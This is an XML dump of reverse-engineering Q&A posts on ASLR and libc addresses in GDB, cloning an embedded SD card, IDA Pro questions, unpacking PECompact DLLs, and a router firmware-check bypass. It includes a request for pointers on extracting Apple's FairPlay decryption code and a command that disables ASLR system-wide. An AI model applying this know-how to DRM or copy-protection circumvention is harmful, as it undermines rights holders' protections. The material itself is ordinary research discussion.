libc&#xA;        libc.so.6 =&amp;gt; /lib/x86_64-linux-gnu/libc.so.6 (0x00007fef18efd000)&#xA;$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space&#xA;0&#xA;$ LD_TRACE_LOADED_OBJECTS=1 /bin/bash | grep libc&#xA;        libc.so.6 =&amp;gt; /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff75e7000)&#xA;$ LD_TRACE_LOADED_OBJECTS=1 /bin/bash | grep libc&#xA;        libc.so.6 =&amp;gt; /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff75e7000)&#xA;$ LD_TRACE_LOADED_OBJECTS=1 /bin/bash | grep libc&#xA;        libc.so.6 =&amp;gt; /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff75e7000)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can verify this by starting an instance of bash in the background and inspecting its maps file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ bash &amp;amp;&#xA;[1] 30398&#xA;[1]  + 30398 suspended (tty input)  bash                                                                             &#xA;$ grep libc /proc/30398/maps | head -n1&#xA;7ffff75e7000-7ffff77a2000 r-xp 00000000 08:01 525269                     /lib/x86_64-linux-gnu/libc-2.19.so&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;&lt;code&gt;info sharedlibrary&lt;/code&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The address reported by &lt;code&gt;info sharedlibrary&lt;/code&gt; is the address of the &lt;code&gt;.text&lt;/code&gt; area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that in the particular libc that I have, the .text is at &lt;code&gt;0x1f4a0&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ readelf --wide --section-headers /lib/x86_64-linux-gnu/libc-2.19.so | grep text&#xA;  [12] .text             PROGBITS        000000000001f4a0 01f4a0 145c23 00  AX  0   0 16&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In GDB, if we look at the load addresses of &lt;code&gt;libc&lt;/code&gt;, we see that it is loaded at &lt;code&gt;0x7ffff7a14000&lt;/code&gt;.  This will change each time the program is run, if ASLR is enabled on the system.  If you run it under GDB, it will also disable ASLR.  Run the command &lt;code&gt;set disable-randomization off&lt;/code&gt; before running the target and you will observe it change each run.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gdb-peda$ info proc mapping&#xA;  ...&#xA;  0x7ffff7a14000     0x7ffff7bcf000   0x1bb000        0x0 /lib/x86_64-linux-gnu/libc-2.19.so&#xA;  0x7ffff7bcf000     0x7ffff7dcf000   0x200000   0x1bb000 /lib/x86_64-linux-gnu/libc-2.19.so&#xA;  0x7ffff7dcf000     0x7ffff7dd3000     0x4000   0x1bb000 /lib/x86_64-linux-gnu/libc-2.19.so&#xA;  0x7ffff7dd3000     0x7ffff7dd5000     0x2000   0x1bf000 /lib/x86_64-linux-gnu/libc-2.19.so&#xA;  ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can verify this by checking to see if it starts with the ELF header.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gdb-peda$ hexdump 0x00007ffff7a14000 4&#xA;0x0000 0x00007ffff7a14000 │ 7f 45 4c 46                                      │ .ELF&#xA;0x0004 0x00007ffff7a14004&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If we add the &lt;code&gt;0x1f4a0&lt;/code&gt; offset from the &lt;code&gt;.text&lt;/code&gt; area, we get &lt;code&gt;0x7ffff7a334a0&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gdb-peda$ printf &quot;%p\n&quot;,(0x00007ffff7a14000+0x1f4a0)&#xA;0x7ffff7a334a0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now if we look at &lt;code&gt;info sharedlibrary&lt;/code&gt;, we see exactly this address.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gdb-peda$ info sharedlibrary libc&#xA;From                To                  Syms Read   Shared Object Library&#xA;0x00007ffff7a334a0  0x00007ffff7b790c3  Yes         /lib/x86_64-linux-gnu/libc.so.6&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Extra Tips&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;In GDB, you should use the &lt;code&gt;info proc mapping&lt;/code&gt; command to get the base address of a loaded module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, this is not available on FreeBSD, since GDB does not support the FreeBSD-specific APIs necessary to get module base addresses.  Instead, you must use the &lt;code&gt;info proc mapping&lt;/code&gt; command and perform the translation yourself (by subtracting the address of the &lt;code&gt;.text&lt;/code&gt; section).&lt;/p&gt;&#xA;" OwnerUserId="264" LastEditorUserId="264" LastEditDate="2014-11-20T09:15:17.050" LastActivityDate="2014-11-20T09:15:17.050" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="6666" PostTypeId="1" AcceptedAnswerId="6691" CreationDate="2014-11-20T23:08:23.920" Score="7" ViewCount="3279" Body="&lt;p&gt;I have an embedded device which is loosely based around a &lt;a href=&quot;https://www.olimex.com/Products/OLinuXino/iMX233/&quot; rel=&quot;noreferrer&quot;&gt;Olinixino iMX233&lt;/a&gt; design. This has a Freescale iMX233 microprocessor and boots from a socketed 2GB microSD card.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wish to alter the filesystem, but also backup the filesystem prior to altering it so that I don't brick the device. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To achieve this, I obtained a similar 2GB micro SD card, and cloned the current SD card using &lt;em&gt;dd&lt;/em&gt; in a USB card reader:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dd if=/dev/sdc of=HeatmiserSDC.img&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then after swapping cards:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dd if=HeatmiserSDC.img of=/dev/sdc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When this new card is placed in the device, it fails to boot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also now tried the sg3_utils utility &lt;em&gt;sg_dd&lt;/em&gt; which operates at a slightly lower level. This has produced a slightly different image file but still won't boot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also now used a SD to micro SD adapter in a direct SD card interface (/dev/mmcblk0) in a Thinkpad x220. This also failed to boot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The serial console produces a single error code when it fails to boot, &lt;em&gt;0x8020a007&lt;/em&gt;, which doesn't provide much useful during a Google search.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried multiple cards, including some 4GB cards. This doesn't seem to be a space issue - sometimes one 2GB SD card is slightly smaller than another. The board also seems to be using the SD protocol and not the SPI protocol. The SPI protocol is sometimes not very reliable on newer cards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;fsutil -l&lt;/em&gt; produces the following output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Disk /dev/sdc: 1996 MB, 1996488704 bytes&#xA;8 heads, 7 sectors/track, 69632 cylinders, total 3899392 sectors&#xA;Units = sectors of 1 * 512 = 512 bytes&#xA;Sector size (logical/physical): 512 bytes / 512 bytes&#xA;I/O size (minimum/optimal): 512 bytes / 512 bytes&#xA;Disk identifier: 0x0f6c2d46&#xA;&#xA;   Device Boot      Start         End      Blocks   Id  System&#xA;/dev/sdc1            2048       32000       14976+  53  OnTrack DM6 Aux3&#xA;/dev/sdc2           32001      200000       84000   83  Linux&#xA;/dev/sdc3          200001      400000      100000   83  Linux&#xA;/dev/sdc4          400001     3899391     1749695+  83  Linux&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there something I am missing here? Some data that isn't copied as part of &lt;em&gt;dd&lt;/em&gt;?&lt;/p&gt;&#xA;" OwnerUserId="1388" LastEditorUserId="1388" LastEditDate="2014-11-22T13:36:40.467" LastActivityDate="2020-01-24T19:54:29.690" Title="Why would copying a micro SD card using dd fail to produce a bootable card?" Tags="|embedded|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6667" PostTypeId="1" CreationDate="2014-11-20T23:23:36.807" Score="1" ViewCount="746" Body="&lt;p&gt;I have the following lines in IDA PRO:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; lea  eax, [ebp+Filename]&#xA; push  offset Filename     ;lpString2&#xA; push  eax                 ;lpString1&#xA; call  ds:lstrcpyA&#xA; ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, I know what the function &lt;code&gt;lstrcpy()&lt;/code&gt; does. It copies the string at &lt;code&gt;offset Filename&lt;/code&gt; into the buffer pointed to by &lt;code&gt;eax&lt;/code&gt;. But when I click on &lt;code&gt;offset Filename&lt;/code&gt; to navigate to the string, I see the following :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;char Filename[]&#xA;Filename      db 54h dup(0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, I highlight that &lt;code&gt;54h&lt;/code&gt; part of the line and click on the button A, but it causes the error message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Command &quot;MakeAscii&quot; failed&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, what can I also do to find out the string which is copied to the buffer ? &lt;/p&gt;&#xA;" OwnerUserId="4645" LastEditorUserId="53" LastEditDate="2015-04-23T21:59:04.107" LastActivityDate="2015-05-23T22:16:57.013" Title="How to decipher &quot;offset Filename&quot; as second parameter for lstrcpy() function using IDA PRO?" Tags="|assembly|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6668" PostTypeId="1" AcceptedAnswerId="6669" CreationDate="2014-11-21T02:52:18.613" Score="1" ViewCount="1728" Body="&lt;p&gt;Looking for a way to determine whether the loaded binary in IDA is either little or big endian (example do i have a MIPSLE or MIPSBE binary open). I want to avoid just running &quot;file&quot; on the executable, as I may just not have a copy of the executable.&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2014-11-21T05:20:32.237" Title="Determine endianness of file opened in IDA" Tags="|ida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6669" PostTypeId="2" ParentId="6668" CreationDate="2014-11-21T05:20:32.237" Score="1" Body="&lt;p&gt;Found the solution. It is slightly hidden but it is: &lt;code&gt;idaapi.cvar.inf.mf&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This returns true on Big and false on Little endian. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;idaapi.py uses it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def as_unicode(s):&#xA;    &quot;&quot;&quot;&#xA;    Convenience function to convert a string into appropriate unicode format&#xA;    &quot;&quot;&quot;&#xA;    # use UTF16 big/little endian, depending on the environment?&#xA;    return unicode(s).encode(&quot;UTF-16&quot; + (&quot;BE&quot; if _idaapi.cvar.inf.mf else &quot;LE&quot;))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="166" LastActivityDate="2014-11-21T05:20:32.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6670" PostTypeId="1" CreationDate="2014-11-21T10:33:40.057" Score="1" ViewCount="1251" Body="&lt;p&gt;Whenever I try to load a malware executable in IDA pro 6.4 it crashes with message &quot;IDA has encountered a problem&quot;.It creates a mini dump and exits. The malware file is shown as dos.lbw. Olly dbg is able to open and so is IDA pro version 5. Please help as to what should I do to resolve the issue &lt;/p&gt;&#xA;" OwnerUserId="10061" LastActivityDate="2014-11-21T10:33:40.057" Title="IDA pro crashes when trying to open a dos.ldw" Tags="|ida|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6672" PostTypeId="1" AcceptedAnswerId="6676" CreationDate="2014-11-21T13:00:21.257" Score="4" ViewCount="2972" Body="&lt;p&gt;I'm currently learning RE and try to understand some basic c programs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've almost figure out some concepts, but right now i've no idea how to find the size of an array when i use objdump or gdb.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for example :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int main(int argc, char **argv)&#xA;{&#xA;  char buffer[64];               // &amp;lt;= Where i supposed to find the array size ?&#xA;  gets(buffer);                   &#xA;  printf(&quot;Buffer : %s&quot;,buffer);&#xA;  return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anyone can explain me how is it possible ?&lt;/p&gt;&#xA;" OwnerUserId="10062" LastActivityDate="2014-11-22T06:37:36.860" Title="How to find the size of an array in binary?" Tags="|c|objdump|binary|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6674" PostTypeId="1" CreationDate="2014-11-21T15:49:46.733" Score="1" ViewCount="2675" Body="&lt;p&gt;I am trying to load a DLL in IDA and OllyDbg, but it says the file is compressed. I checked with a couple of tools and came to know that the file is compressed with PECompact. I think it also has reverse-engineer protection enabled because debuggers are not able to load it but other tools can disassemble it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, my question is how do I unpack the DLL and start debugging ?&lt;/p&gt;&#xA;" OwnerUserId="10034" LastEditorUserId="53" LastEditDate="2015-07-15T15:59:06.193" LastActivityDate="2015-07-15T20:58:13.723" Title="debug a .dll compressed with pe compact" Tags="|ida|ollydbg|pe|unpacking|patch-reversing|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6675" PostTypeId="1" CreationDate="2014-11-21T15:58:05.433" Score="2" ViewCount="2838" Body="&lt;p&gt;Can the signatures from PeID be used on 64-Bit Portable Executable (EXE) files? &#xA;PeID does not support 64-Bit files but I can use the signatures in another application with 64-Bit support.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My main interest is detecting 64-Bit EXE files that are packed.&#xA;This question is related to another question I have:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/6208/detecting-packed-64-bit-windows-portable-executable-exe-files&quot;&gt;Detecting packed 64-bit Windows Portable Executable (EXE) files&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8494" LastEditorUserId="53" LastEditDate="2017-04-28T12:53:05.560" LastActivityDate="2017-04-28T12:53:05.560" Title="Does PeID signatures work with 64-Bit Portable Executable (EXE) files?" Tags="|disassembly|windows|executable|x86-64|packers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6676" PostTypeId="2" ParentId="6672" CreationDate="2014-11-21T16:26:03.337" Score="6" Body="&lt;p&gt;There's no easy way to do this, C doesn't have a concept of array sizes (at execute time), so the size isn't stored anywhere. You'll have to read the assembly code and (try to) understand it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take the following program&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;extern void *malloc(int);&#xA;extern char *strcpy(char *dst, char *src);&#xA;&#xA;char firstname[80];&#xA;char lastname[80];&#xA;&#xA;int main(void) {&#xA;    int some_variable=1;&#xA;    char buffer[64];&#xA;    int some_other_variable=2;&#xA;    char *otherbuffer=malloc(100);&#xA;    gets(buffer);&#xA;    strcpy(firstname, &quot;John&quot;);&#xA;    strcpy(lastname, &quot;Doe&quot;);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and compile it with &lt;code&gt;cc -fno-builtin -O0 -o arraysize arraysize.c&lt;/code&gt;. (I had to disable built-in functions to prevent gcc from short-circuiting malloc and strcpy, and i declared them myself instead of using the headers for the same reason. Also, without -O0, gcc omits stuff that's never used).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, use &lt;code&gt;objdump -d arraysize&lt;/code&gt; and check the &lt;code&gt;main&lt;/code&gt; function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0000000000400554 &amp;lt;main&amp;gt;:&#xA;  400554:   55                      push   %rbp&#xA;  400555:   48 89 e5                mov    %rsp,%rbp&#xA;&#xA;// This instruction tells you that the function needs 80 (0x50) bytes on the&#xA;// stack. This happens to be the same as the size of all local variables&#xA;// here, but might be higher as well if the function needs stack space for&#xA;// function arguments and the like.&#xA;  400558:   48 83 ec 50             sub    $0x50,%rsp&#xA;&#xA;&#xA;// This puts 1 and 2 into the integer variables. Note we now know they're&#xA;// located at -0x10(%rbp) and -0xc(%rbp) on the stack.&#xA;  40055c:   c7 45 f0 01 00 00 00    movl   $0x1,-0x10(%rbp)&#xA;  400563:   c7 45 f4 02 00 00 00    movl   $0x2,-0xc(%rbp)&#xA;&#xA;// This calls malloc(100) and puts the result into -0x8(rbp). We now know&#xA;// the array pointed to has 100 bytes, because that's what was malloc'ed.&#xA;// Note that you have no other way of finding out the size afterwards&#xA;// (except if you know how exactly malloc is implemented and where malloc&#xA;// keeps its internal housekeeping structures)&#xA;  40056a:   bf 64 00 00 00          mov    $0x64,%edi&#xA;  40056f:   e8 b4 fe ff ff          callq  400428 &amp;lt;malloc@plt&amp;gt;&#xA;  400574:   48 89 45 f8             mov    %rax,-0x8(%rbp)&#xA;&#xA;// now, we call gets, feeding it with -0x50(%rbp) as its parameter.&#xA;// As the next variable that's used on the stack is at -0x10(rbp), we can&#xA;// assume that the array has 0x40=64 bytes. This does not have to be true;&#xA;// for example, if the function declared 2 arrays of 32 bytes each, they'd&#xA;// be at -0x50(%rbp) and -0x30(%rbp), and if the function never used the&#xA;// one at 0x30(%rbp), there'd be no way for us to tell the difference.&#xA;  400578:   48 8d 45 b0             lea    -0x50(%rbp),%rax&#xA;  40057c:   48 89 c7                mov    %rax,%rdi&#xA;  40057f:   b8 00 00 00 00          mov    $0x0,%eax&#xA;  400584:   e8 bf fe ff ff          callq  400448 &amp;lt;gets@plt&amp;gt;&#xA;&#xA;// This is the strcpy to firstname. The address of firstname is at 0x6009e0.&#xA;// We don't know how large it is, as we haven't seen a variable behind it yet.&#xA;  400589:   be a8 06 40 00          mov    $0x4006a8,%esi&#xA;  40058e:   bf e0 09 60 00          mov    $0x6009e0,%edi&#xA;  400593:   e8 c0 fe ff ff          callq  400458 &amp;lt;strcpy@plt&amp;gt;&#xA;&#xA;// And this is the second strcpy, to lastname at 0x6000980. Since we've&#xA;// seen the other strcpy to 0x60009e0, we assume that there are no more than&#xA;// 0x50=80 bytes in that buffer, but see below.&#xA;  400598:   be ad 06 40 00          mov    $0x4006ad,%esi&#xA;  40059d:   bf 80 09 60 00          mov    $0x600980,%edi&#xA;  4005a2:   e8 b1 fe ff ff          callq  400458 &amp;lt;strcpy@plt&amp;gt;&#xA;&#xA;// end of function&#xA;  4005a7:   c9                      leaveq &#xA;  4005a8:   c3                      retq   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The C source code said&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;char firstname[80];&#xA;char lastname[80];&#xA;strcpy(firstname, &quot;John&quot;);&#xA;strcpy(lastname, &quot;Doe&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and from the address difference between the two &lt;code&gt;strcpy&lt;/code&gt;s, we assumed an array size of 80. But note that the exact same instructions would have been generated in that case:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;char name[160];&#xA;strcpy(name+80, &quot;John&quot;);&#xA;strcpy(name, &quot;Doe&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So if you don't have debugging symbols, all you get are assumptions.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2014-11-21T16:26:03.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6678" PostTypeId="1" AcceptedAnswerId="8735" CreationDate="2014-11-21T18:40:16.403" Score="10" ViewCount="16987" Body="&lt;p&gt;I've been spending a good chunk of time looking at some 3rd party applications that were successful in &quot;reproducing&quot; (although I believe not necessarily by understanding the algorithm completely but simply extracting the core of the logic from the original binaries and replicating it into their own programs) the main logic for simulating an Apple TV server with full &lt;strong&gt;AirPlay mirroring&lt;/strong&gt; support, to name a few:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;AirServer (OSX/Windows)&lt;/li&gt;&#xA;&lt;li&gt;Reflector (OSX/Windows)&lt;/li&gt;&#xA;&lt;li&gt;AirReceiver (Android)&lt;/li&gt;&#xA;&lt;li&gt;X-Mirage (OSX/Windows)&lt;/li&gt;&#xA;&lt;li&gt;AirPin PRO (Android)&lt;/li&gt;&#xA;&lt;li&gt;EZCast Screen (Android)&lt;/li&gt;&#xA;&lt;li&gt;Xiaomi Milian (Android/runs on Xiaomi Box)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;By looking at their decompiled code and some other references on the web, most of the protocol aspect is already known/relatively easy to figure out and I did it already, so no sweat there, the key part I'm having a tough time understanding how these guys were able to pull it off is related to the FairPlay decryption portion (i.e.: when receiving and responding to the &lt;code&gt;fp-setup&lt;/code&gt; challenges as well as decrypting the AES key sent in the last step of the challenge).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They all seem to have extracted the &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/6544/identify-decompiled-decryption-algorithm&quot;&gt;white-boxed/obfuscated&lt;/a&gt; functions out of Apple's original &lt;code&gt;airtunesd&lt;/code&gt;/&lt;code&gt;fairplayd&lt;/code&gt; daemon code and embedded it into their source, delegating the calls to seed/encrypt/decrypt to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I noticed in some iOS devices this daemon also exist (most likely used to encrypt the feed when mirroring the screen via AirPlay to a compatible server) but was wondering how different this really is from the one shipped with the Apple TV and if my assumptions are actually correct (is that were most of these guys are taking this code from?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Was hoping either someone with previous experience or a little more knowledge on the topic could shed some light/pointers so I could find a way to at least do the same these guys were able to accomplish (which is not really deobfuscating the code but just extracting it to embed in their own programs).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;PS:&lt;/strong&gt; For clarity, aside from confirmation I was looking for some pointers as to how one would be able to extract &lt;strong&gt;compilable&lt;/strong&gt; code from a said binary, given my attempts at disassembling and decompiling via IDA Pro haven't provided me with much that I can reuse to compile new code that reproduces that piece of the puzzle.&lt;/p&gt;&#xA;" OwnerUserId="9894" LastEditorUserId="9894" LastEditDate="2015-01-28T17:31:45.247" LastActivityDate="2017-09-06T03:19:32.667" Title="AirPlay Mirroring decryption (FairPlay)" Tags="|disassembly|decompilation|obfuscation|encryption|decryption|" AnswerCount="4" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="6679" PostTypeId="1" AcceptedAnswerId="6689" CreationDate="2014-11-21T23:30:12.663" Score="1" ViewCount="1194" Body="&lt;p&gt;Our ISP, MWeb, gave us a free router and Wifi extender (WRE2205v2) as part of a new promotion. Neither of them really work at all (the extender works for about a minute then fails for no apparent reason). Acording to reviews, it should be a decent repeater, but it seems Mweb has completely screwed up the firmware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://simonfredsted.com/996&quot; rel=&quot;nofollow&quot;&gt;This blog post&lt;/a&gt; shows how to get very basic root access (it's running embedded Linux) on the device (the security is... bad). So far I've worked out it's a MIPS device (running &lt;code&gt;file&lt;/code&gt; on an executable gives &lt;code&gt;ELF 32-bit MSB  executable, MIPS, MIPS-I version 1 (SYSV)&lt;/code&gt; and the file system is squash-fs, so read only. I can also copy files to/from the device using tftp. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also know that both the branded firmware and the stock firmware use a binary called fw_upgrade to flash a new firmware. I tried decompiling them using &lt;a href=&quot;http://decompiler.fit.vutbr.cz/decompilation/&quot; rel=&quot;nofollow&quot;&gt;http://decompiler.fit.vutbr.cz/decompilation/&lt;/a&gt; but I haven't had much luck there. The branded one has a bit more code which I assume checks something about the new firmware and prevents the stock firmware from being flashed. Finally I tried copying the stock fw_upgrade to the device and running it but it fails without an error message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What else can I do to get the stock firmware running?&lt;/p&gt;&#xA;" OwnerUserId="10066" LastActivityDate="2014-11-29T13:16:08.220" Title="Modifying / Installing stock firmware on ISP Branded WRE2205" Tags="|disassembly|decompilation|linux|firmware|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6680" PostTypeId="2" ParentId="6666" CreationDate="2014-11-21T23:52:39.123" Score="5" Body="&lt;p&gt;Micro SD cards have a card identification register (CID) that can be read from the card. The CID contains, among other things, the product serial number and manufacturing date, which are different between cards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your firmware might be specific to a certain CID as a form of copy protection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blog.mdb977.de/read-sd-card-serial-number-from-cid/&quot; rel=&quot;nofollow noreferrer&quot;&gt;This blog post&lt;/a&gt; is about reading the CID on a iMX233 running Linux and using it as a copy protection mechanism.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="10263" LastEditDate="2020-01-24T19:54:29.690" LastActivityDate="2020-01-24T19:54:29.690" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="6681" PostTypeId="2" ParentId="6679" CreationDate="2014-11-22T04:21:55.900" Score="3" Body="&lt;p&gt;A cursory examination of the two files suggests that the main difference in upgrade paths between the two binaries is that the branded one calls a function named &lt;code&gt;chkfwid&lt;/code&gt;. If I'm reading the code correctly, it searches the first &lt;code&gt;0x800&lt;/code&gt; bytes for the four ASCII bytes &lt;code&gt;1213&lt;/code&gt;; if found, the function succeeds, else it fails and the upgrade is terminated.&lt;/p&gt;&#xA;" OwnerUserId="1408" LastActivityDate="2014-11-22T04:21:55.900" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6682" PostTypeId="2" ParentId="6647" CreationDate="2014-11-22T06:33:20.957" Score="0" Body="&lt;p&gt;I wouldn't say I'm new to RE but I'm certainly not an expert, so please take my answer with a grain of salt. Chances are, what you are actually looking for is probably not the actual value, but how that value relates to your program, ie; the number 42 doesn't really mean anything without any context or dimension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you've described would be a very naive way of finding how a program deals with and stores data, and effectively the only way to implement it, would be to continually search entire regions of memory (easily many megabytes in size), at every given moment - &lt;strong&gt;&lt;em&gt;provided it actually stores the value in memory any way&lt;/em&gt;&lt;/strong&gt; - OR, stop at every instruction to see if any reference is made to your value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is not impossible, but likely impractical. As mentioned in comments, The RE way of doing this, would be to find the context where your value might actually appear, for example, if you are looking for your health in a video game, you would start by finding any code that would heal you or damage you or check whether you are still alive etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without any more information there is not more we can help you with, perhaps you could edit your question to provide more?&lt;/p&gt;&#xA;" OwnerUserId="10053" LastActivityDate="2014-11-22T06:33:20.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6683" PostTypeId="2" ParentId="6675" CreationDate="2014-11-22T10:52:02.367" Score="2" Body="&lt;p&gt;PEiD rules are only patterns, you can use them on whatever fileformat you want. Since PEiD is not maintained anymore, you may want to &lt;a href=&quot;https://github.com/jvoisin/yara_rules/blob/master/peid_to_yara.py&quot; rel=&quot;nofollow&quot;&gt;export&lt;/a&gt; your rules to another format, like &lt;a href=&quot;https://plusvic.github.io/yara/&quot; rel=&quot;nofollow&quot;&gt;yara&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1485" LastActivityDate="2014-11-22T10:52:02.367" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6684" PostTypeId="1" CreationDate="2014-11-22T11:49:29.243" Score="1" ViewCount="119" Body="&lt;p&gt;Here is my problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Program P1 launches another program P2.&#xA;The P2 program uses a dll DLL1 which is packed using PE Compact.&#xA;The DLL1 is obviously unpacked  during run time and a routine inside DLL1 calls another dll DLL2 which is also packed with PE Compact.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;P1-&gt;P2-&gt;DLL1-&gt;DLL2&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I have successfully unpacked both the dlls. Now While debugging the OllyDbg shows me &quot;The code is packed, self extracing...&quot; stuff. What I want is to point the OllyDbg towards the unpacked version residing on my filesystem so that a can debug it properly.&#xA;How do I d this.Thanks in advance :)&lt;/p&gt;&#xA;" OwnerUserId="10034" LastActivityDate="2014-11-22T18:08:41.640" Title="HOW do I point the debugger towards UNPACKED version of dll stored on my filesystem during debugging" Tags="|ida|ollydbg|debugging|packers|patch-reversing|" AnswerCount="1" CommentCount="1" ClosedDate="2014-11-28T22:14:52.797" ContentLicense="CC BY-SA 3.0" />
